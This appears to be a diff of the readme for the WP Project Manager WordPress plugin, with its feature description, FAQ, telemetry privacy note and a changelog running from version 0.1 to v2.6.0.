WITH INTUITIVE INTERFACE = - -Manage all types of tasks and projects in the least time possible. The interactive user-friendly interface will not only give you a smooth experience but also assist you to boost overall efficiency. - -= TEAM COLLABORATION MADE EASY = - -With a built-in discussion thread and file sharing option, make the most out of teamwork without any hassle. Easily work simultaneously with remote teams with this team collaboration tool for WordPress. - -= BEST FIT FOR ANY KIND OF TEAMS = - -No matter which team or organization you are running, WP Project Manager ensures the best outcome for all kinds of teams. This is why this plugin has become the favorite open source project management software for every team and individual. - -= FULL CONTROL OVER PRIVACY AND SECURITY = - -No compromise with privacy and permission among the tasks or projects. With user role customization and team permission feature (Pro), manage who can see or who can manage which project very easily. - -= PERSONAL DASHBOARD FOR USERS = - -Everyone gets their own dashboard to stay updated about tasks in the most organized way. From this personal board, a user will be able to access only the projects and tasks he is allowed to see. - -**So still wondering why WP Project Manager should be your first choice in task management plugins?** - -👉 [Check out this complete comparison of WP Project Manager with other popular project management solutions.](https://wedevs.com/wp-project-manager-pro/compare/) -👉 [Learn more about all the functions and features from our documentation.](https://wedevs.com/docs/wp-project-manager/) - -= SEE HOW WP PROJECT MANAGER HAS BEEN RECOGNIZED BY THE TOP SITES = - 1. [Top 20 WordPress Plugins for Freelancers to Improve Their Workflow](https://colorlib.com/wp/freelance-plugins-wordpress/) - 2. [9 Best WordPress Project Management Plugins](https://blog.hubspot.com/website/best-wordpress-project-management-plugins) - 3. [Top 8 Project Management Plugins For WordPress](https://www.elegantthemes.com/blog/tips-tricks/top-8-project-management-plugins-for-wordpress) - 4. [Top 9 Premium WordPress Project Management Plugins](https://www.hostinger.com/tutorials/wordpress-project-management#Top_9_Premium_WordPress_Project_Management_Plugins) - 5. [13 Best WordPress Project Management Plugins in 2022](https://wplift.com/best-wordpress-project-management-plugins) - -= LEARN HOW YOU CAN LEVERAGE YOUR PRODUCTIVITY TOOL TO THE FULLEST = - - 1. [How weDevs Has Been Using WP Project Manager Successfully For Collaboration](https://wedevs.com/145814/how-wedevs-has-been-using-wp-project-manager-successfully-for-collaboration/) - - 2. [How Project Management Tools Help You Reach Milestones](https://wedevs.com/120384/how-project-management-tools-help-reach-milestones/) - - 3. [How WP Project Manager Makes Managing Milestones Even Better](https://wedevs.com/104306/manage-milestones-wordpress-project-manager/) - - 4. [How To Use WordPress Project Manager To Build A Successful Remote Team Painlessly](https://wedevs.com/89644/how-to-use-wordpress-project-manager-to-build-a-successful-remote-team-painlessly/) - - 5. [Create Project Automatically for Your WooCommerce Order & Save Time](https://wedevs.com/100764/create-projects-automatically-woocommerce-order/) - -**CONTRIBUTE** - -If you think you can help develop this plugin even better then you can always more than welcome to contribute to this project. Please fork the repository from [Github](https://github.com/weDevsOfficial/wp-project-manager). - -**OUR VALUABLE CONTRIBUTORS** - -* French translation by Corentin allard -* Dutch translation by eskamedia -* Brazilian Portuguese translation by Anderson -* German translation by Alexander Pfabel -* Spanish translation by Luigi Libet -* Indonesian translation by hirizh -* Polish translation by Jacek Synowiec - -**CHECKOUT OUR OTHER AWESOME PRODUCTS** - -* [Dokan – Multivendor Marketplace Plugin](https://wedevs.com/dokan/?utm_medium=referral&utm_source=wporg&utm_campaign=Project+Manager+Readme&utm_content=Dokan+Multivendor+Marketplace) -* [WP User Frontend Pro](https://wedevs.com/wp-user-frontend-pro/?utm_medium=referral&utm_source=wporg&utm_campaign=Project+Manager+Readme&utm_content=WP+User+Frontend+Pro) -* [WordPress ERP](https://wperp.com/?utm_medium=referral&utm_source=wporg&utm_campaign=Project+Manager+Readme&utm_content=WPERP) -* [WooCommerce Conversion Tracking](https://wedevs.com/woocommerce-conversion-tracking/) -* [weMail](https://getwemail.io/) -* [Appsero](https://appsero.com/) -* [Happy Addons](https://happyaddons.com/?utm_source=wedevs&utm_medium=menu) -* [wePos](https://wedevs.com/wepos) - -== Privacy Policy == - -WP Project Manager uses [Appsero](https://appsero.com) SDK to collect some telemetry data upon user's confirmation. This helps us to troubleshoot problems faster & make product improvements. - -Appsero SDK **does not gather any data by default.** The SDK only starts gathering basic telemetry data **when a user allows it via the admin notice**. We collect the data to ensure great user experience for all our users. - -Integrating Appsero SDK **DOES NOT IMMEDIATELY** start gathering data, **without confirmation from users in any case.** - -Learn more how [Appsero collects and uses this data](https://appsero.com/privacy-policy/). - -Additionally, read weDevs [privacy policy](https://wedevs.com/privacy-policy/) for a better idea. - -== Installation == - -Extract the zip file and just drop the contents in the wp-content/plugins/ directory of your WordPress installation and then activate the Plugin from Plugins page. - -== Frequently Asked Questions == - -= Q. Why doesn't it shows up in frontend = -A. Currently all the project management options resides in the admin panel. No functionality shows up in frontend right now. - -= Q. Who can create projects? = -A. Only Editors and Admin's can create projects and edit them. - -= Q. Who can create tasklist, todo, messages or milestones? = -A. Admins and every co-workers from a project can create these. - -= Q. Can every member see every project? = -A. Only admins (editor/administrator) can see all of them. Other user roles can only see their assigned projects. - -= Q. Can the WP Project Manager plugin be extended? = -A. Sure, lots of actions and filters are added by default and will add more of them. - -= Q. Found a bug on WP Project Manager = -A. Found any bugs? Please create an [issue](https://github.com/tareq1988/wp-project-manager/issues) on github. - -== Screenshots == - -1. Project dashboard. You can see all your projects from here and can create new one. -2. New project creation pop-up window -3. Project overview page. See the activities going on in a single page at a glance. -4. Project actvities feeds grouped by date. See what you or your team has done in a project. -5. To-do list page. View all your to-do lists and to-do's inside them. -6. Create to-do list form -7. Create a task in a to-do list. Add task title, additional details, assign multiple users and set dates. -8. Discussions page. Discuss with your team with various topics. -9. Single discussion thread. Hop-in to a discussion and brainstorm with your team. -10. Milestones page. Set milestones for a project and assign tasks, discussions on them and see the progress of that milestone. Mark complete once its done. -11. See all the shared files across various to-do lists, to-do's and comments. All the attached files can be found in one place. -12. Project settings -> General Tab -13. Project Settings -> Email Settings Tab - - -== Changelog == - -= v2.6.0 - Nov 30, 2022 = - -**New:** Added pm pro version overview for lite users - -= v2.5.0 - July 15, 2022 = - -**Update:** Compatibility with PHP-8.x -**Update:** Improved codebase to make performance better -**Fix:** Fixed some translation issues - -= v2.4.18 - March 28, 2022 = - -**Fix:** Fixed Project Searching hover project links. (Issue #437) -**Fix:** Fixed Some Role Permission assign issue after creating project. - -= v2.4.17 - Feb 07, 2022 = - -**Notice:** Limited time promotional notice on Super Bowl sale - -= v2.4.16 - Dec 23, 2021 = - -**Fix:** Discussion file url was not downloadable for PDF -**Notice:** Limited time promotional notice on holiday sale - -= v2.4.15 - Nov 11, 2021 = - -**Update:** ChartJS libraries from v2.x to v3.6.0 -**Update:** Removed dummy data, unused files and external cdn links to improve and clean the whole codebase -**Fix:** Data escaping and sanitization issues all over the plugin -**Fix:** Some i18n translation, wrong text-domain issues -**Notice:** Limited time promotional offer regarding Black Friday and Cyber Monday - -= v2.4.14 - Oct 11, 2021 = - -**Fix:** Data sanitization and validation issues to prevent security threats -**Fix:** Timezone issues in My Calendar -**Fix:** Task file downloading issue by other member of project assignee list -**Fix:** After Task Create Email, `undefined offset` issue in template footer -**Fix:** User assign issue from Project Overview page -**Fix:** Unassigned Reports were not loading -**Notice:** Limited time promotional offer for Halloween - -= v2.4.13 - July 16, 2021 = - -**Notice:** Limited time promotional offer regarding summer sale -**Update:** Calendar event content styles -**Update:** Some library upgrade for better performance -**Fix:** My Task report was not getting accurate result in some cases -**Fix:** My Calendar single task was unable to be moved -**Fix:** After creating a task, it was not updating instantly in ‘My Calendar’ and ‘My Task at a Glance’ section -**Fix:** Authentication issues on some un-authenticated API endpoints like tasks, task types, activities - -= v2.4.12 - May 07, 2021 = - -**Notice:** Limited time promotion on account of Eid. - -= v2.4.11 - March 17, 2021 = - -**Notice:** Limited time promotion for weDevs’ birthday. - -= v2.4.10 - Feb 13, 2021 = - -**Fix** Vulnerable security issue. - -= v2.4.9 - Jan 26, 2021 = - -**Fix** Email notification was showing the wrong task completed user name. -**Fix** Every member can see every project. -**Fix** First-time task lists were not loading from the notification email. -**Update** Alignment problem when creating the new project. - -= v2.4.8 - Dec 18, 2020 = - -**Update** Task query updated for filtering tasks by complete_at date range. -**Fix** Completed tasks were not showing on my-task. -**Fix** Made the icons inline alignment on the subtask create form. - -= v2.4.7 - Dec 10, 2020 = - -**Update** PSR-4 standard. -**Fix** Project pagination was not working when all projects are deleted from the current page. -**Fix** Fixed the task pagination problem. It was not working when a task is deleted. - -= v2.4.6 - Nov 21, 2020 = - -**Fix** User capability is not chanting after save it. -**Fix** User can not access their reports from my-task. -**Fix** Email footer logo is not appearing. - -= v2.4.5 - Nov 11, 2020 = - -**New** Help tooltip in single task. -**Update** Rewrite email template. -**Fixed** Pagination back button is not working for project page. - -= v2.4.4 - Oct 08, 2020 = - -**New** Introduce new library simshaun/recurr. -**New** Added the remove format option in project manager text editor. -**Fixed** In text editor, after type '@' the list of users exceeds outside of the modal. -**Fix** Task assigned all users can change the task type. -**Fix** User can not delete their own created task comments. -**Fix** Remove the HTML tag from milestone title. - -= v2.4.3 - Sep 10, 2020 = - -**Update** In dashboard project menu bar has been rearranged. -**Update** In single task now user can navigate to project and task list. -**Fix** Co-worker can not be deleted in self created task comment. -**Fix** In frontend project manager date picker was not showing in single task. -**Fix** In my task, task create form did not change the list even the project has been change. -**Fix** Project title was missing from my-task. - -= v2.4.2 - Aug 26, 2020 = - -* **Fix** Single task popup is not appearing. - -= v2.4.1 - Aug 25, 2020 = - -* **New** Add new task type for individual task. -* **Fix** During task update the date picker was not showing. -* **Fix** Was not able to delete the task list description. -* **Fix** Optimize code for security issue. -* **Fix** Task list title was not able to update. -* **Fix** Completed project was not able to restore. - -= v2.4.0 - Jul 17, 2020 = - -* **New** Component for pm-vue2-daterange-picker, pm-button, pm-do-slot. -* **New** Change all date picker from all forms. -* **New** Manage do-action content without any wrapper. -* **New** API end point is now working for all permalink. -* **Update** UI/UX for creating new task. -* **Update** UI/UX for add new members from single task popup. -* **Update** UI/UX for task due date from single task popup. -* **Fix** Could not download files from the project. - -= v2.3.11 - Jun 16, 2020 = - -* **Fix** API end point is now working for all permalink. -* **Fix** My-task calendar missing current date task. -* **Fix** In my-task, The task is not updating after user closing the single task popup. -* **Fix** In My- task user can not select the date range during task create time. -* **Fix** User can not delete self created task-list. -* **Fix** In content text should not break in middle of the word (style change break-all to break-word). - -= v2.3.10 - May 05, 2020 = - -* **Fix** Task load more is not working for co-worker. - -= v2.3.9 - Apr 30, 2020 = - -* **New** New function for getting tasks, messages, milestones, discussions, projects, comments, files, users. -* **New** Project description shows upon clicking on the description button. -* **Update** Load more buttons showing twice after deleting completed task. -* **Fix** On My task overview graph showing error when there are no task. -* **Fix** Task assigned date is not showing in a single task popup. -* **Fix** Progress bar continue loading after clicking on Clear button on the task filter. - -= v2.3.8 - Mar 12, 2020 = - -* **New** Add fileter for removing project unique title. -* **Fix** Fixing Multiside completable issues. -* **Update** Update query for fetching users to make Multi-site compatible. - -= v2.3.7 - Feb 27, 2020 = - -* **Fix** In favorite project section 'all projects' were showing. -* **Fix** Task notification mails contain raw HTML. -* **Fix** Set 200 character limit when adding a new task. - -= v2.3.6 - Feb 10, 2020 = - -* **New** Set date range picker in my-task section to filter tasks. -* **New** Set date range picker in my-task overview to filter activities. -* **New** Duplicate a task from the task list. -* **New** New components are, pm-button, pm-dropdown-menu, pm-triangle-box, pm-click-wrap, pm-popup-modal, pm-date-range-picker. -* **Update** Redesigned task-create form. -* **Update** Replace jQuery date picker to date range picker. -* **Update** Some features are moved from task create a form to a single task page. -* **Fix** Assigned manager in a project was not getting mail at project creation time. -* **Fix** Make Multi-site compatible for fetching co-workers. -* **Fix** Invisible tools menu for co-workers. -* **Fix** Co-workers could not edit their created task. -* **Fix** 'Inbox' task create form was showing for all pagination pages. -* **Fix** Showing invalid date after searching outstanding task. -* **Fix** Favorite project was not working. - -= v2.3.5 - Dec 19, 2019 = - -* **New** Add privacy policy in the product description. -* **Fix** Sanitize data while updating task. -* **Fix** Add extra data validation on the database query. - -= v2.3.4 - Nov 15, 2019 = - -* **Fix** Task label are inserted two times while updating the task. -* **Fix** Task update buttons can not be selected for the tooltip. -* **Update** Project assigned users has been removed from user search results. -* **Update** Add text limit on task title. - -= v2.3.3 - Nov 10, 2019 = - -* **New** Integrate with Pusher for real time notification. -* **New** Include seeder for project, task-list and task. -* **New** Set filter in project fetch 'join' and 'where' query. -* **Fix** Task update popover menu used to break when task title was long. -* **Update** Reset button on task-list search. - -= v2.3.2 - Oct 10, 2019 = - -* **Fix** Conflict with elementor. -* **Update** Toastr library. - -= v2.3.1 - Sep 26, 2019 = - -* **New** User can create new task from my-task section. -* **New** Sorting my-task table column. -* **Update** My-tasks menu is not appear in front-end. -* **Update** Reduce loading executing time for project home page. -* **Update** Refactoring code for getting projects data. - -= v2.3.0 - Sep 09, 2019 = - -* **New** Remove current task, outstanding task and completed task tabs from my tasks. -* **New** Advanced task filtering option according to current task, outstanding task and completed task in my tasks section. -* **New** pm_capabilities, pm_role_project, pm_role_project_capabilities, pm_role_project_users table for permission management. -* **Update** Change single task popup url from my-task to single task lists. -* **Fix** Progress load more is not working. - -= v2.2.4 - Jul 22, 2019 = - -* **New** Task title field in task list search form. -* **Fix** Task sorting is not working. -* **Fix** Prevent sorting for default task list (Inbox). -* **Update** Showing 'more task' button even there is not task. - -= v2.2.3 - Jul 15, 2019 = - -* **Update** Task list search query. -* **Fix** After drag and drop task is not updating from my-task calendar. -* **Fix** Milestone disapear after reloding the page. - -= v2.2.2 - Jun 28, 2019 = - -* **New** Action hook in task list page 'pm_after_task_content'. -* **New** Event initiation after task user update 'after_update_single_task_user'. -* **New** Action hook before delete task list 'pm_before_delete_task_list'. -* **Update** User gets mail at task updating time even the task is not updated. -* **Update** Archived tasks will not appear on MyTask calendar. -* **Update** New tasks are listing in the descending order in the task lists. -* **Fix** User can remove administrator from manage capability permission. -* **Fix** Inbox task list does not appear at the top of the task lists. -* **Fix** compact(): undefined index variable problem for php 7.3 -* **Fix** Text domain 'pm' to 'wedevs-project-manager'. -* **Fix** Task lists menu is not activating while clicking pagination. - -= v2.2.1 - Jun 14, 2019 = - -* **Fix** Fatal error undefined function. - -= v2.2.0 - Jun 14, 2019 = - -* **New** Added my task menu from where individual users can check their completed, current and outstanding tasks. -* **Fix** Assigned users can not find the task description. -* **Fix** Add new user in project does not appear in task users dropdown at task create or edit time. -* **Fix** A newly added user in a project did not appear in the dropdown i.e in the list of users while adding, creating or editing a task. -* **Fix** User can not udpate task comment from single task popup. -* **Fix** A newly added user does not appear in project update form. - -= v2.1.0 - May 18, 2019 = - -* **New** Trello Integration. -* **Fix** Fixed co-worker & client create task activities. -* **Fix** Removed usermap from global setting. -* **Fix** Removed unnecessary dashicons and added title to files. -* **Fix** Resolved conflict from setting header. -* **Fix** Fixed project edit form get closed when user click out side. - -= v2.0.15 - May 02, 2019 = - -* **Fix** Load more Completed & Incompleted task. -* **Fix** Pagination slug of completed task. -* **Fix** Optimize task queries for retrieving task ids. -* **Fix** The naming of variable "$milestones" to "$milestone" at filter 'pm_milestone_show_query' - -= v2.0.14 - April 11, 2019 = - -* **New** Included filter at task activity and after create comment. -* **Update** Remove search user minimum 3 character condition. -* **Update** Remove tooltip from list view and kanboard view button. -* **Update** Migrated from icomoon to Flaticon. -* **Fix** API authentication problem. -* **Fix** Some textdomain. - -= v2.0.13 - March 04, 2019 = - -* **New** Set loading effect for 'Load more' task. -* **New** Set loading effect at task list page and list archive page nevigation. -* **New** Set loading effect at task list pagination. -* **New** New library v-tooltip -* **Fix** Any kinds of url added extra from tinymce text filed. -* **Fix** After project edit, the description is not updated real time. -* **Fix** Less file is not built to css file. -* **Update** Set target blank in tinymce posted url. - -= v2.0.12 - Feb 15, 2019 = - -* **New** New filter welcome page redirect. -* **Fix** Task pagination did not work. -* **Fix** Close button did not work in new project form. -* **Fix** Milestone due date did not update. -* **Update** Set permission at user create time from project overview page. - -= v2.0.11 - Feb 08, 2019 = - -* **New** Integrate with popper js. -* **New** Welcome page. -* **New** Premium page. -* **Fix** Change task list fetch query. -* **Fix** Change task fetch query. -* **Fix** File upload problem from discussion section. -* **Fix** After close single task the list page is refreshing. -* **Fix** Remove html tag from email content. -* **Fix** Color picker does not work. - -= v2.0.10 - Dec 19, 2018 = - -* **Hotfix** Fatal error at page and post edit time. - -= v2.0.9 - Dec 19, 2018 = - -* **New** Update user from overview page. -* **New** Move tasks from one list to another. -* **Update** Permission for project delete. -* **Fix** Project update time dialog-box close automatically. -* **Fix** Conflict with text editor and datepicker problem for task create. -* **Fix** Date-picker auto close, when select a date. -* **Fix** Coding standard according wordpress. - -= v2.0.8 - Nov 29, 2018 = - -* **New** Project home page redesign. -* **New** Close single task popup with ESC button. -* **New** Single task popup is enable from activity page. -* **Update** Task filter form alignment. -* **Fix** Relative date for comments. -* **Fix** Tabindex for texteditor. -* **Fix** Latest activity for single task. -* **Fix** More task button missing from completed tasks. -* **Fix** Date picker auto hide problem. -* **Fix** Task list responsive issue. -* **Remove** Slicknav library. - -= v2.0.7 - Nov 08, 2018 = - -* **New** Switch project with key binding cmd+j/clt+j. -* **New** Task list page redesign. -* **New** Single task list page redesign. -* **New** System default task list inbox. -* **New** All description fields with validation and sanitization at edit time. -* **New** Project title should be unique. -* **Fix** Task filter query. -* **Fix** Task and task-list sorting supported in mobile. - -= v2.0.6 - Oct 02, 2018 = - -* **New** Set permission setting for user mail notification. -* **New** Task single page redesign. -* **New** Show activity in single task page. -* **New** Projects can mark as favourite by users. -* **New** Added completed_by and completed_at fields in pm_tasks database table. -* **New** Added status field in pm_broad database table. -* **New** Support for video file upload. -* **New** New user notification. -* **New** Advanced task filter from task list page. -* **New** Set deleted activity log in activity section. -* **Fix** Invalid time issue in activity page. -* **Fix** Overview graph for last 3o days activity -* **Fix** Get email notification when update discussion - -= v2.0.5 - August 16, 2018 = - -* **New** Added filters for getting custom query in all transformers. -* **New** Project description in html format. -* **Fix** Undefined task title from activity. -* **Fix** Single task popup close automatically. -* **Fix** Activity count when delete an element. -* **Fix** Manage capability return false, when user role is not found. -* **Fix** Some translation issues. -* **Fix** Some compatibility issue on internet explorer. -* **Fix** Task assignee input field is not updating when assignee user field is Empty -* **Fix** Task list milestone input field is not updating when milestone is Empty - -= v2.0.4 - July 27, 2018 = - - * **Fix** Download link for wedevs project manager php-5.6. - -= v2.0.3 - July 27, 2018 = - - * **New** List drag, drop and reorder. - * **New** Task independently switch in task lists. - * **New** Added categry pagination. - * **Fix** Date format problem for task and overviews graph. - * **Update** Activity date format change. - * **Update** Load All Categories in select form. - * **Update** Load all HTTP request with GET and POST methods. - -= v2.0.2 - July 23, 2018 = - - * **New** Create function for getting individual task. - * **New** Hook for all CRUD (Create, Read, Update and Delete) - * **Fix** Task complete and incomplete issues in microsoft edge browser. - * **Fix** Pagination set -1 for per page and its getting error. - * **Fix** Multisite installation and upgrade. - * **Fix** Translation for vue files. - * **Fix** Fetch project in single task page. - * **Fix** Reduce conflict with WPERP plugin. - * **Fix** JS make compitable with IE>8. - -= v2.0.1 - Jun 29, 2018 = - - * **Fix:** Fix database migration problem upon updating the plugin. - -= v2.0 - Jun 28, 2018 = - - * **BREAKING**: This **v2.0** release is a major version and introduces breaking changes by re-writing the whole plugin. Please test the plugin before updating from v1.x. Taking a **database backup** is adviced. - * **New:** REST API added. Now you can access everything of project manager via the API. Creating of mobile apps would be much easier. - * **New:** Moved from custom post type to custom database tables, which performs a lot faster. - * **New:** We have re-written the Project Management UI, powered by [Vue.js](https://vuejs.org/). This introduces a SPA (Single Page Application) with blazing fast page loading and a snappier user experience. - * **Bug Fixes:** We have also squashed a lot pesky bugs under the hood. - -= 1.6.16 - Jun 11, 2018 = - - * [fixed] Project title is overlaping on RTL language. - * [fixed] Could not select project category while creating/editing a project. - * [fixed] Single task is not re-rendering - -= 1.6.15 - May 10, 2018 = - - * [fixed] Task list is not showing when using the Internet Explorer browser. - * [fixed] Projects dashboard display missing alignment. - * [Update] Improved plugins text domain. - -= 1.6.14 - April 26, 2018 = - - * [fixed] Task is not showing after clicking on a task from the calendar. - * [fixed] Mail notificaation system not working. - * [fixed] Category menu selection while creating project not working on RLT. - * [fixed] RTL display missing alignment on milestone. - -= 1.6.13 - April 12, 2018 = - - * [fixed] RTL display missing alignment. - * [fixed] Settings menu is not showing properly on projects header. - * [fixed] Project settings page translation not working. - -= 1.6.12 - March 22, 2018 = - - * [fixed] Showing HTML markup in task descriptions when we enter plain text. - * [fixed] To-do list, Discussion, milestone, page translation not working. - * [fixed] Projects page translation not working. - * [update] Improved plugin strings. - -= 1.6.11 - February 26, 2018 = - - * [fix] Notify users while commenting in a task. - * [fix] Trix-editor intregration with the WP ERP. - * [fix] Compatible with the Microsoft Edge browser. - * [fix] Task re-ordering. - * [fix] Project list and grid view compatible with all browsers. - -= 1.6.10 - November 27, 2017 = - - * [new] Vuejs loading made compact. - * [new] Included vuejs in project file. - * [update] Included file download attributes. - * [update] Notify manager when updating comments. - * [fix] Navigate to a task from the calendar. - * [fix] User search problem fixed when creating a project. - * [fix] Text editor style problem fixed. - - -= 1.6.9 - August 24, 2017 = - - * [fix] CPM free loader class active after loading WP all plugins - * [fix] All co-workers get mail after completed the task - * [new] weForms Upsell Class - -= 1.6.8 - August 17, 2017 = - - * [fix] Prevent the loading trix-editor for all WP page. - * [fix] Text formating retained got from others editor. - * [fix] Creating second task does change the date of first task. - * [new] Add new component cpm-datepicker - -= 1.6.7 - August 01, 2017 = - - * [new] Js Tiptip library has been added. - * [update] Condition applied when showing calendar on setting tast start date. - * [update] Date icon has been shown if no date was set. - * [update] Description icon has been shown if no description was set. - * [update] Co-Worker icon has been shown if no Co-Worker was set in the task. - * [fix] Double date picker shown at task date update time. - * [fix] Undefined index errors. - -= 1.6.6 - July 31, 2017 = - - * [new] Task title update from single task page. - * [new] Task privacy update from single task page. - * [new] Task description update from single task page. - * [new] Task start and end date update from single task page. - * [new] Add user/co-worker/client from single task page. - * [fix] Unable to complete task. - * [fix] When complete a task then this completed task shown double in the to-do list. - * [fix] Double "New To-Do" button shown. - * [update] 'Get project id' function always return false. - * [update] Design change for single task page. - -= 1.6.5 - July 6, 2017 = - - * [fix] Co-worker can not show the list corner menu. - * [fix] Co-Worker could not notifying when add or update project. - * [fix] Double "New To-Do" button shown and also cpm-new-todolist-form has shown when clicked "New To-Do" List button. - * [fix] Project create permission. - * [fix] Get complete and incomplete task query - * [fix] Change routing effect at todo-list page to another page - -= 1.6.4 - June 22, 2017 = - - * [new] Task list view on the right corner in to-do list section. - * [update] Notify co-workers on task completion. - * [update] Task update action hook. - * [update] Style sheets updated. - * [update] Some javascript refactored. - * [fix] Wrong color is showing for a task on basis of task competion status. - * [fix] PHP warning on project overview. - * [fix] PHP warning on my task overview. - -= 1.6.3 - June 07, 2017 = - - * [new] Drag and drop sortability added to the task - * [update] Task color scheme. - * [update] Activity graph color scheme in my task section. - * [update] Single task redirection in my task section. - * [update] Project duplication. - * [update] Project overview section. - * [fix] Grid/List view action on project listing is not working. - * [fix] Project overview graph is not working. - * [fix] Not all users of a project is being duplicated when duplicating a project. - * [fix] Notification is sent to the co-workers when a project is created. - * [fix] Unable to comment in a task when it is redirected from current task in my task. - * [fix] Unable to comment in a task when it is redirected from outstanding task in mytask. - * [fix] Unable to comment in a task when it is redirected from competed task in my task. - * [fix] User selection is not working in my task. - * [fix] Date section is not working in activity graph in my task. - * [fix] Red color is showing for current task in my task. - * [fix] Overview section in my task is not working - * [fix] Activity section in my task is not working - * [fix] Current task section in my task is not working - * [fix] Outstanding task section in my task is not working - * [fix] Completed task section in my task is not working - * [fix] File attachment is not working when commenting in the file section of a project. - * [fix] Unable to delete a comment in the file section of a project. - * [fix] Commenting in a discussion board is not working. - * [fix] Editing a comment in a discussion board is not working. - * [fix] Deleting a comment in a discussion board is not working. - * [fix] Javascript shows error when commenting, editing comments and deleting comments in discussion board. - -= 1.6.2 - April 27, 2017 = - - * [new] Email template for mentioning users in a comment. [pro] - * [new] Moment js dependency added. - * [new] Compatibility for mentioning users in a comment. - * [update] Include filter for register project post type. - * [update] Include filter for register project taxonomy. - * [update] Change pagination position from left to right. - * [update] Pagination has been shown up and down of to-do lists content. - * [update] Single task url. - * [update] To-do lists progress bar. - * [update] Unnecessary parameters removed form wp_enqueue_script in cpm. - * [update] Array declaration according to lower version of php. - * [fix] Can’t use function return value in write context. - * [fix] Syntax error, unexpected '[' - * [fix] Filtering for to-do lists private view. - * [fix] Filtering problem for the visibility of to-do lists create button. - * [fix] List style problem in tiny-MCE comment box while commenting on discussion board. - * [fix] WP nonce problem in project discussion. - - -= 1.6.1 - April 11, 2017 = - - * [fix] Load JS files only in todo list page - * [fix] Fix typo in todo list privacy checking capability - * [fix] Shortcode rendering in comments - * [fix] Remove users from notification panel outside of the project members - * [fix] Removed PHP array shorthand declaration - * [fix] Single task URL problem in My Task - -= 1.6 - April 08, 2017 = - - * [new] Use js library Vue - * [new] Design layout changed for To-do Lists. - * [new] Real time update every action for To-do lists. - * [new] Two way data binding for to-do list edit - * [new] Two way data binding for task edit - * [new] Task lazy loading. - * [new] Vue routing for single To-do list - * [new] Real time pagination. - * [new] Completed and incomplete label added for corresponding tasks in single to-list. - * [update] Discussion editor changed from tricks to tinymce. - * [update] Real time change of progress bar. - * [update] Assign user to task options changed from choosen to Vue multiselect. - * [update] User avatar(gravatar) link changed form 404 to mm - * [fix] Remove comments link from overview. - * [fix] All functionalities for to-do list. - - -= 1.5.1 - September 19, 2016 = - - * [new] Send Email Notification when a comment updates. - * [new] Add filter for how many letter to show when image name is long in files tab. - * [fix] Fixed conflict with buddypress. - * [fix] Fixed Project creation capability and update language files. - * [fix] Made Report print friendly. - * [fix] Files tab loading improvement. - * [fix] Show all comments in newly uploaded file view. - * [fix] Client view private discussion. - -= 1.5 - August 20, 2016 = - - * [new] Report section new design (*pro*). - * [new] New Report item added (*pro*). - * [new] Files tab new design and add new feature in pro version (*pro*). - * [new] Add option for create document and connect to other online Docs (*pro*). - * [new] Add option to upload files / attachment direct to a project (*pro*). - * [fix] Duplicate mail send on project create. - * [fix] Change cpm_get_option function. - -= 1.4.3 - May 30, 2016 = - - * [fix] Milestone input date and project redirect issue after create. - * [fix] Sorting completed milestone - * [fix] Image broken in emails - * [fix] File upload on first discussion problem fix. - * [fix] Task Done/Undone tick problem fix. - * [fix] New user create on project create or update problem fix. - * [fix] Department or personal projects show in ERP integration. - -= 1.4.2 - April 6, 2016 = - - * [fix] Project permission problem in free version - -= 1.4.1 - March 28, 2016 = - - * [new] Task list sticky option added as a replacement for sorting - * [new] Proper mime type icon set - * [new] Initial ERP integration added - * [fix] Front-end URL issue - -= 1.4 - March 13, 2016 = - - * [new] UI Re-designed - * [new] Tasks now have a description field - * [tweak] As now we have description in tasks, previous tasks were updated. - * [tweak] Project post_type changed from `project` to `cpm_project` - * [tweak] Task post_type changed from `task` to `cpm_task` - * [tweak] Task List post_type changed from `task_list` to `cpm_task_list` - * [tweak] Milestone post_type changed from `milestone` to `cpm_milestone` - * [tweak] Message post_type changed from `message` to `cpm_message` - * [tweak] project_category taxonomy changed from `project_category` to `cpm_project_category` - -= 1.3.8 - October 20, 2015 = - - * [fix] Front-end current task, outstanding task and completed task url problem fix - * [fix] Without login can access front-end problem fix - * [fix] Current task, outstanding task and completed task live update problem fix. - * [fix] Fetch outstanding and completed task problem fix - -= 1.3.7 - October 15, 2015 = - - * [fix] Fix LogicException on autoloader - -= 1.3.6 - October 15, 2015 = - - * [fix][pro] Add category for front-end - * [fix] Email notification subject issue fixed - -= 1.3.5 - September 29, 2015 = - - * [fix] User role and items table weren't being created during install - -= 1.3.4 - September 19, 2015 = - - * [fix] Pagination error fix in free version - * [fix] Project manage/create cap option brought back to free - * [fix] Version upgrader issue fixed - -= 1.3.3 - September 15, 2015 = - - * [fix] Single project permission issue - -= 1.3.2 - September 14, 2015 = - - * [fix] Project Duplication error - * [fix] New task assignmed email subject was missing - -= 1.3.1 - September 11, 2015 = - - * [fix] File missing problem for front-end - * [fix] Plugin path in updater - -= 1.3 - September 3, 2015 = - - * [improved] Free/Pro separation. Massive code change - * [improved] Email notification templates updated. Removed the settings from admin. - -= 0.4.6 = - -* Fix: new project popup, some bug was still in the 0.4.5 version. - -= 0.4.5 = - -* Fix: new project popup -* New: Pagination support on projects - -= 0.4.4 = - -* Language files updated -* New action hooks and JS triggers added -* Settings API updated - -= 0.4.3 = - -* new: Spanish translation -* new: German translation -* new: Indonesian translation -* fix: milestone datepicker issue -* fix: some typo fixes -* improved: comment count next to tasklists - -= 0.4.2 = - -* bug fix: project activity/comments on frontend widget -* bug fix: project activity/comments on comment rss -* bug fix: number of milestones -* improved: plugin textdomain loading -* new: project task progressbar on project listing -* new: tasklist sorting -* new: task sorting -* new: Dutch translation language added -* new: Brazilian Portuguese language added - -= 0.4.1 = - -* bug fix: attachment association problem on comment update -* bug fix: error on message update - -= 0.4 = - -* improved: default email format changed to 'text/plain' from 'text/html' -* improved: toggle added on user notification selection -* improved: only date was showing on single message details, time added -* improved: some filters added on URLs -* bug fix: actual file url hidden on files tab for privacy -* bug fix: any user could edit any users message -* bug fix: any user could delete any users message -* new: admin settings page added -* new: email template added -* new: French translation added -* new: file upload size settings added - -= 0.3.1 = - -* comment update bug fix -* project activity is now grouped by date -* "load more" button added on project activity -* some function documentation added. - -= 0.3 = - -* Translation capability added -* Attachment security added. All files are now served via a proxy script - for security with permission checking. - -= 0.2.1 = - -* Comments display error fix - -= 0.2 = - -* Remove comments from listing publicly -* Post types are hidden from search - -= 0.1 = -Initial version released - -== Upgrade Notice == - -BREAKING CHANGE: v2.0 release is a major version and introduces breaking changes by re-writing the whole plugin. Please test the plugin before updating from v1.x. Taking a database backup is advised. +=== WP Project Manager - Task, team, and project management plugin featuring kanban board and gantt 